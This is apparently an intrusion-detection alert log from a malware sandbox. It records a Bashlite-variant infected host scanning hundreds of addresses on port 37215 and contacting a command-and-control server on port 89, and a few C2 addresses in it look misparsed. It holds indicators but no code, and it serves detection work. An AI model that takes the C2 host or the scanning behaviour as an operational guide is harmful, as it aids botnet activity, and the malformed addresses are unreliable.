2024-10-06T20:01:26.327419+0200	2835222	1	A Network Trojan was detected	192.168.2.15	34468	41.80.234.169	37215	TCP
2024-10-06T20:01:26.342497+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47856	197.120.239.203	37215	TCP
2024-10-06T20:01:26.343721+0200	2835222	1	A Network Trojan was detected	192.168.2.15	32866	197.2.151.238	37215	TCP
2024-10-06T20:01:26.343913+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57296	197.111.171.224	37215	TCP
2024-10-06T20:01:26.344179+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56062	156.203.62.213	37215	TCP
2024-10-06T20:01:26.344508+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43760	197.70.28.251	37215	TCP
2024-10-06T20:01:26.345404+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40204	197.74.206.218	37215	TCP
2024-10-06T20:01:26.346407+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47826	41.196.83.209	37215	TCP
2024-10-06T20:01:26.358937+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52242	156.211.214.149	37215	TCP
2024-10-06T20:01:26.363566+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53130	41.182.18.126	37215	TCP
2024-10-06T20:01:26.435584+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56796	41.118.134.52	37215	TCP
2024-10-06T20:01:26.453494+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57624	156.103.77.149	37215	TCP
2024-10-06T20:01:26.455512+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53024	41.220.27.180	37215	TCP
2024-10-06T20:01:28.388923+0200	2835222	1	A Network Trojan was detected	192.168.2.15	34092	197.110.213.23	37215	TCP
2024-10-06T20:01:28.389055+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58466	41.122.19.248	37215	TCP
2024-10-06T20:01:28.389194+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46152	41.155.190.185	37215	TCP
2024-10-06T20:01:28.389312+0200	2835222	1	A Network Trojan was detected	192.168.2.15	33124	197.113.150.95	37215	TCP
2024-10-06T20:01:28.389352+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55670	156.70.20.40	37215	TCP
2024-10-06T20:01:28.389443+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43036	197.180.90.10	37215	TCP
2024-10-06T20:01:28.389796+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50886	41.93.218.3	37215	TCP
2024-10-06T20:01:28.389872+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45484	156.154.47.155	37215	TCP
2024-10-06T20:01:28.391330+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57030	197.105.21.207	37215	TCP
2024-10-06T20:01:28.391807+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46232	197.137.0.180	37215	TCP
2024-10-06T20:01:28.393933+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50956	197.45.76.192	37215	TCP
2024-10-06T20:01:28.405063+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43006	197.191.121.239	37215	TCP
2024-10-06T20:01:28.405218+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43916	41.154.0.40	37215	TCP
2024-10-06T20:01:28.405493+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36240	156.27.48.148	37215	TCP
2024-10-06T20:01:28.409813+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36174	41.83.186.68	37215	TCP
2024-10-06T20:01:28.409839+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57128	197.220.32.227	37215	TCP
2024-10-06T20:01:28.409874+0200	2835222	1	A Network Trojan was detected	192.168.2.15	38226	156.213.13.48	37215	TCP
2024-10-06T20:01:28.409891+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55864	197.250.32.63	37215	TCP
2024-10-06T20:01:28.412682+0200	2835222	1	A Network Trojan was detected	192.168.2.15	38396	41.19.171.117	37215	TCP
2024-10-06T20:01:30.562821+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37422	41.223.80.155	37215	TCP
2024-10-06T20:01:31.437160+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60966	41.89.215.85	37215	TCP
2024-10-06T20:01:32.467519+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46272	156.111.17.112	37215	TCP
2024-10-06T20:01:32.467583+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39806	41.249.187.113	37215	TCP
2024-10-06T20:01:32.473351+0200	2835222	1	A Network Trojan was detected	192.168.2.15	33844	41.73.89.117	37215	TCP
2024-10-06T20:01:34.482673+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40140	197.186.50.161	37215	TCP
2024-10-06T20:01:34.482674+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60668	156.31.100.79	37215	TCP
2024-10-06T20:01:34.483012+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39660	41.117.41.209	37215	TCP
2024-10-06T20:01:34.484899+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57474	197.3.178.117	37215	TCP
2024-10-06T20:01:34.502570+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39274	197.48.116.28	37215	TCP
2024-10-06T20:01:34.516396+0200	2835222	1	A Network Trojan was detected	192.168.2.15	38278	197.50.231.212	37215	TCP
2024-10-06T20:01:34.549582+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43092	156.53.11.190	37215	TCP
2024-10-06T20:01:35.482719+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36576	41.27.85.83	37215	TCP
2024-10-06T20:01:35.483040+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39226	156.213.57.39	37215	TCP
2024-10-06T20:01:35.499576+0200	2835222	1	A Network Trojan was detected	192.168.2.15	33424	41.74.66.224	37215	TCP
2024-10-06T20:01:35.499682+0200	2835222	1	A Network Trojan was detected	192.168.2.15	59364	41.239.219.138	37215	TCP
2024-10-06T20:01:35.500448+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53032	41.237.82.20	37215	TCP
2024-10-06T20:01:35.518664+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49616	197.46.90.65	37215	TCP
2024-10-06T20:01:35.530836+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48816	197.78.51.74	37215	TCP
2024-10-06T20:01:36.172394+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43716	41.71.135.136	37215	TCP
2024-10-06T20:01:37.520167+0200	2835222	1	A Network Trojan was detected	192.168.2.15	35824	41.88.109.224	37215	TCP
2024-10-06T20:01:39.455015+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39472	41.206.35.19	37215	TCP
2024-10-06T20:01:41.577456+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36282	41.13.72.132	37215	TCP
2024-10-06T20:01:41.581347+0200	2835222	1	A Network Trojan was detected	192.168.2.15	35512	197.208.176.190	37215	TCP
2024-10-06T20:01:41.581392+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47886	41.101.135.188	37215	TCP
2024-10-06T20:01:41.592750+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36026	156.202.34.231	37215	TCP
2024-10-06T20:01:41.592820+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37698	156.5.165.72	37215	TCP
2024-10-06T20:01:41.612741+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55946	156.247.59.115	37215	TCP
2024-10-06T20:01:42.561238+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60854	156.241.212.71	37215	TCP
2024-10-06T20:01:42.577028+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47338	41.70.226.212	37215	TCP
2024-10-06T20:01:42.577122+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40234	156.112.245.110	37215	TCP
2024-10-06T20:01:42.577193+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42328	197.68.83.203	37215	TCP
2024-10-06T20:01:42.577193+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41922	41.171.253.215	37215	TCP
2024-10-06T20:01:42.577631+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46020	156.190.169.71	37215	TCP
2024-10-06T20:01:42.577711+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36726	156.105.187.173	37215	TCP
2024-10-06T20:01:42.577919+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45332	156.119.35.25	37215	TCP
2024-10-06T20:01:42.577943+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49902	156.74.30.53	37215	TCP
2024-10-06T20:01:42.578014+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42430	156.191.134.108	37215	TCP
2024-10-06T20:01:42.578103+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56150	197.214.185.14	37215	TCP
2024-10-06T20:01:42.578216+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36864	41.155.63.117	37215	TCP
2024-10-06T20:01:42.579017+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57806	156.17.78.154	37215	TCP
2024-10-06T20:01:42.581447+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36328	197.188.166.37	37215	TCP
2024-10-06T20:01:42.592654+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40354	197.12.64.86	37215	TCP
2024-10-06T20:01:42.592853+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53238	41.192.47.124	37215	TCP
2024-10-06T20:01:42.592871+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41302	197.176.126.89	37215	TCP
2024-10-06T20:01:42.592893+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53346	197.194.85.111	37215	TCP
2024-10-06T20:01:42.593821+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60020	197.248.141.238	37215	TCP
2024-10-06T20:01:42.594730+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41276	197.223.173.6	37215	TCP
2024-10-06T20:01:42.594751+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49614	197.124.172.70	37215	TCP
2024-10-06T20:01:42.594766+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57302	41.34.224.82	37215	TCP
2024-10-06T20:01:42.594846+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46000	41.120.146.239	37215	TCP
2024-10-06T20:01:42.596527+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37670	197.132.40.165	37215	TCP
2024-10-06T20:01:42.596622+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60770	156.37.168.204	37215	TCP
2024-10-06T20:01:42.597626+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55150	41.197.180.249	37215	TCP
2024-10-06T20:01:42.613986+0200	2835222	1	A Network Trojan was detected	192.168.2.15	35212	156.203.181.218	37215	TCP
2024-10-06T20:01:42.627795+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40842	41.52.13.67	37215	TCP
2024-10-06T20:01:42.629581+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51578	197.133.106.46	37215	TCP
2024-10-06T20:01:42.657267+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36410	41.164.85.146	37215	TCP
2024-10-06T20:01:43.612102+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36582	41.179.180.62	37215	TCP
2024-10-06T20:01:43.704031+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56400	156.225.239.191	37215	TCP
2024-10-06T20:01:43.717769+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55040	156.152.213.31	37215	TCP
2024-10-06T20:01:43.733323+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36466	41.2.17.69	37215	TCP
2024-10-06T20:01:43.737268+0200	2835222	1	A Network Trojan was detected	192.168.2.15	33748	156.180.229.222	37215	TCP
2024-10-06T20:01:44.608055+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46622	156.90.11.179	37215	TCP
2024-10-06T20:01:44.608557+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40644	156.69.120.17	37215	TCP
2024-10-06T20:01:44.608582+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42408	41.14.182.184	37215	TCP
2024-10-06T20:01:44.608612+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55846	156.186.208.29	37215	TCP
2024-10-06T20:01:44.610086+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40496	156.187.119.10	37215	TCP
2024-10-06T20:01:44.610353+0200	2835222	1	A Network Trojan was detected	192.168.2.15	35212	156.56.96.67	37215	TCP
2024-10-06T20:01:44.610423+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43148	156.195.209.8	37215	TCP
2024-10-06T20:01:44.623746+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45608	41.92.199.78	37215	TCP
2024-10-06T20:01:44.623747+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45068	197.222.140.29	37215	TCP
2024-10-06T20:01:44.624130+0200	2835222	1	A Network Trojan was detected	192.168.2.15	59778	41.132.204.145	37215	TCP
2024-10-06T20:01:44.624309+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44074	197.0.162.227	37215	TCP
2024-10-06T20:01:44.624643+0200	2835222	1	A Network Trojan was detected	192.168.2.15	33158	156.24.24.200	37215	TCP
2024-10-06T20:01:44.624647+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44564	156.33.42.26	37215	TCP
2024-10-06T20:01:44.624785+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53512	41.149.242.212	37215	TCP
2024-10-06T20:01:44.624787+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40210	197.235.0.14	37215	TCP
2024-10-06T20:01:44.624963+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45058	156.237.24.244	37215	TCP
2024-10-06T20:01:44.624964+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44508	197.126.187.104	37215	TCP
2024-10-06T20:01:44.625104+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51092	156.147.78.53	37215	TCP
2024-10-06T20:01:44.625109+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37142	197.211.164.112	37215	TCP
2024-10-06T20:01:44.626279+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56718	156.163.30.95	37215	TCP
2024-10-06T20:01:44.626412+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54010	156.17.51.213	37215	TCP
2024-10-06T20:01:44.626439+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39900	41.190.127.213	37215	TCP
2024-10-06T20:01:44.626615+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36580	197.236.73.251	37215	TCP
2024-10-06T20:01:44.627820+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48976	197.211.233.240	37215	TCP
2024-10-06T20:01:44.627951+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52392	41.86.203.65	37215	TCP
2024-10-06T20:01:44.627966+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58674	197.225.3.188	37215	TCP
2024-10-06T20:01:44.628464+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56962	156.11.85.193	37215	TCP
2024-10-06T20:01:44.629770+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56798	156.125.65.158	37215	TCP
2024-10-06T20:01:44.629963+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54736	41.196.50.209	37215	TCP
2024-10-06T20:01:44.630102+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60196	41.72.45.129	37215	TCP
2024-10-06T20:01:44.640215+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60378	197.74.126.171	37215	TCP
2024-10-06T20:01:44.641721+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43530	41.213.97.175	37215	TCP
2024-10-06T20:01:44.641862+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45574	41.94.117.243	37215	TCP
2024-10-06T20:01:44.644494+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48724	41.79.118.222	37215	TCP
2024-10-06T20:01:44.645387+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47112	41.35.173.169	37215	TCP
2024-10-06T20:01:44.645567+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56618	156.99.218.245	37215	TCP
2024-10-06T20:01:44.656052+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45090	156.4.152.189	37215	TCP
2024-10-06T20:01:44.656175+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54000	156.169.161.51	37215	TCP
2024-10-06T20:01:44.657570+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58626	156.105.113.158	37215	TCP
2024-10-06T20:01:44.659670+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36628	197.26.104.121	37215	TCP
2024-10-06T20:01:44.661498+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40964	41.68.116.178	37215	TCP
2024-10-06T20:01:44.661533+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37016	41.180.242.225	37215	TCP
2024-10-06T20:01:45.749224+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50176	41.155.107.22	37215	TCP
2024-10-06T20:01:46.720328+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53554	41.40.168.40	37215	TCP
2024-10-06T20:01:46.785675+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54778	197.134.89.70	37215	TCP
2024-10-06T20:01:49.733425+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43214	41.80.221.110	37215	TCP
2024-10-06T20:01:49.733523+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54898	197.174.136.139	37215	TCP
2024-10-06T20:01:49.735057+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46046	156.41.2.103	37215	TCP
2024-10-06T20:01:49.735183+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43082	197.132.147.67	37215	TCP
2024-10-06T20:01:49.735306+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39984	156.27.169.190	37215	TCP
2024-10-06T20:01:49.764749+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47374	156.86.142.221	37215	TCP
2024-10-06T20:01:50.701859+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55724	156.164.200.217	37215	TCP
2024-10-06T20:01:50.702019+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37326	197.136.106.245	37215	TCP
2024-10-06T20:01:50.702164+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39694	41.42.189.2	37215	TCP
2024-10-06T20:01:50.717795+0200	2835222	1	A Network Trojan was detected	192.168.2.15	33990	156.34.90.240	37215	TCP
2024-10-06T20:01:50.717832+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44602	41.187.154.21	37215	TCP
2024-10-06T20:01:50.717945+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37060	41.118.179.89	37215	TCP
2024-10-06T20:01:50.718299+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56896	197.211.57.107	37215	TCP
2024-10-06T20:01:50.718456+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42714	41.129.30.55	37215	TCP
2024-10-06T20:01:50.718535+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55008	197.182.94.114	37215	TCP
2024-10-06T20:01:50.719288+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60332	41.137.7.49	37215	TCP
2024-10-06T20:01:50.719497+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47362	41.195.8.213	37215	TCP
2024-10-06T20:01:50.719609+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51126	197.97.56.178	37215	TCP
2024-10-06T20:01:50.719685+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50622	41.196.250.224	37215	TCP
2024-10-06T20:01:50.719726+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47390	156.102.250.250	37215	TCP
2024-10-06T20:01:50.720049+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47804	197.199.84.11	37215	TCP
2024-10-06T20:01:50.720116+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41424	156.114.97.203	37215	TCP
2024-10-06T20:01:50.721561+0200	2835222	1	A Network Trojan was detected	192.168.2.15	59952	156.133.76.231	37215	TCP
2024-10-06T20:01:50.724459+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40100	197.14.51.100	37215	TCP
2024-10-06T20:01:50.725991+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46382	41.35.11.104	37215	TCP
2024-10-06T20:01:50.733402+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58816	197.16.121.129	37215	TCP
2024-10-06T20:01:50.733993+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49436	156.161.125.224	37215	TCP
2024-10-06T20:01:50.734035+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57654	197.121.188.77	37215	TCP
2024-10-06T20:01:50.734964+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53492	41.32.130.173	37215	TCP
2024-10-06T20:01:50.735016+0200	2835222	1	A Network Trojan was detected	192.168.2.15	33800	197.62.128.22	37215	TCP
2024-10-06T20:01:50.735059+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60508	41.132.230.227	37215	TCP
2024-10-06T20:01:50.737055+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52474	197.43.7.216	37215	TCP
2024-10-06T20:01:50.749209+0200	2835222	1	A Network Trojan was detected	192.168.2.15	34856	197.71.175.217	37215	TCP
2024-10-06T20:01:50.749211+0200	2835222	1	A Network Trojan was detected	192.168.2.15	33254	156.61.71.56	37215	TCP
2024-10-06T20:01:50.749230+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56492	197.141.55.213	37215	TCP
2024-10-06T20:01:50.754829+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36252	156.35.46.57	37215	TCP
2024-10-06T20:01:51.281346+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55392	156.235.22.58	37215	TCP
2024-10-06T20:01:51.526303+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39380	197.6.243.95	37215	TCP
2024-10-06T20:01:52.784731+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52110	197.99.223.198	37215	TCP
2024-10-06T20:01:52.803770+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36966	41.78.82.154	37215	TCP
2024-10-06T20:01:53.817505+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54856	41.21.245.16	37215	TCP
2024-10-06T20:01:54.963376+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36014	41.90.82.224	37215	TCP
2024-10-06T20:01:54.963376+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37070	156.192.53.197	37215	TCP
2024-10-06T20:01:55.860363+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46784	41.118.109.73	37215	TCP
2024-10-06T20:01:56.889871+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54876	156.215.76.66	37215	TCP
2024-10-06T20:01:57.905813+0200	2835222	1	A Network Trojan was detected	192.168.2.15	35528	156.76.41.7	37215	TCP
2024-10-06T20:01:57.909339+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52744	41.79.184.20	37215	TCP
2024-10-06T20:01:59.905516+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46440	197.102.136.35	37215	TCP
2024-10-06T20:01:59.937534+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54832	197.248.168.63	37215	TCP
2024-10-06T20:01:59.940552+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52400	197.84.249.59	37215	TCP
2024-10-06T20:01:59.940675+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37032	156.214.101.1	37215	TCP
2024-10-06T20:01:59.983663+0200	2835222	1	A Network Trojan was detected	192.168.2.15	38950	197.147.61.238	37215	TCP
2024-10-06T20:02:00.591078+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56692	156.70.80.221	37215	TCP
2024-10-06T20:02:00.968385+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47104	156.122.80.55	37215	TCP
2024-10-06T20:02:04.015207+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60326	156.25.242.63	37215	TCP
2024-10-06T20:02:04.036553+0200	2835222	1	A Network Trojan was detected	192.168.2.15	59112	197.167.102.178	37215	TCP
2024-10-06T20:02:04.178787+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46048	197.80.10.39	37215	TCP
2024-10-06T20:02:10.031015+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44482	197.134.238.155	37215	TCP
2024-10-06T20:02:10.048101+0200	2835222	1	A Network Trojan was detected	192.168.2.15	35342	197.136.208.188	37215	TCP
2024-10-06T20:02:10.050486+0200	2835222	1	A Network Trojan was detected	192.168.2.15	33456	197.214.93.236	37215	TCP
2024-10-06T20:02:10.110936+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57784	41.183.92.92	37215	TCP
2024-10-06T20:02:10.111003+0200	2835222	1	A Network Trojan was detected	192.168.2.15	59298	197.151.150.162	37215	TCP
2024-10-06T20:02:11.030574+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36972	197.249.230.52	37215	TCP
2024-10-06T20:02:11.031080+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36322	41.81.233.103	37215	TCP
2024-10-06T20:02:11.031086+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54630	41.215.92.0	37215	TCP
2024-10-06T20:02:11.062104+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40828	156.184.102.212	37215	TCP
2024-10-06T20:02:11.077880+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52954	156.187.124.241	37215	TCP
2024-10-06T20:02:11.077884+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47028	41.88.141.73	37215	TCP
2024-10-06T20:02:11.078008+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44166	197.56.151.24	37215	TCP
2024-10-06T20:02:11.078180+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52190	41.107.73.79	37215	TCP
2024-10-06T20:02:11.078227+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58878	41.180.156.181	37215	TCP
2024-10-06T20:02:11.078898+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42284	41.255.120.240	37215	TCP
2024-10-06T20:02:11.079358+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41088	41.6.254.245	37215	TCP
2024-10-06T20:02:11.079358+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42724	41.85.213.200	37215	TCP
2024-10-06T20:02:11.079516+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49402	197.42.65.166	37215	TCP
2024-10-06T20:02:11.081282+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42528	197.216.15.75	37215	TCP
2024-10-06T20:02:11.081915+0200	2835222	1	A Network Trojan was detected	192.168.2.15	35628	41.129.55.197	37215	TCP
2024-10-06T20:02:11.082010+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53918	41.42.166.162	37215	TCP
2024-10-06T20:02:11.083379+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48232	197.21.217.4	37215	TCP
2024-10-06T20:02:11.083569+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60444	197.245.52.254	37215	TCP
2024-10-06T20:02:11.093336+0200	2835222	1	A Network Trojan was detected	192.168.2.15	38758	41.81.36.62	37215	TCP
2024-10-06T20:02:11.097121+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45098	156.235.1.177	37215	TCP
2024-10-06T20:02:11.098968+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47722	41.54.101.160	37215	TCP
2024-10-06T20:02:11.099042+0200	2835222	1	A Network Trojan was detected	192.168.2.15	35990	41.114.134.172	37215	TCP
2024-10-06T20:02:11.099068+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39694	41.50.218.39	37215	TCP
2024-10-06T20:02:11.099275+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52784	41.182.90.194	37215	TCP
2024-10-06T20:02:11.099281+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54034	41.192.235.51	37215	TCP
2024-10-06T20:02:12.099010+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57180	41.219.137.116	37215	TCP
2024-10-06T20:02:12.114890+0200	2835222	1	A Network Trojan was detected	192.168.2.15	38754	156.22.124.199	37215	TCP
2024-10-06T20:02:13.109393+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58446	156.228.44.70	37215	TCP
2024-10-06T20:02:15.144000+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43792	41.221.22.83	37215	TCP
2024-10-06T20:02:16.328462+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50042	156.93.184.161	37215	TCP
2024-10-06T20:02:16.347388+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54510	197.93.90.67	37215	TCP
2024-10-06T20:02:20.380815+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57176	197.230.9.215	37215	TCP
2024-10-06T20:02:21.396021+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58266	156.91.92.248	37215	TCP

ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T20:00:44.498319+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	45652	104.248.167.251	89	TCP
2024-10-06T20:01:05.895677+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	33562	248.167.251.89	89	TCP
2024-10-06T20:01:06.254388+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	60786	167.251.89.0	89	TCP
2024-10-06T20:01:32.619115+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	50160	104.248.167.251	89	TCP
2024-10-06T20:01:54.004060+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	37610	248.167.251.89	89	TCP
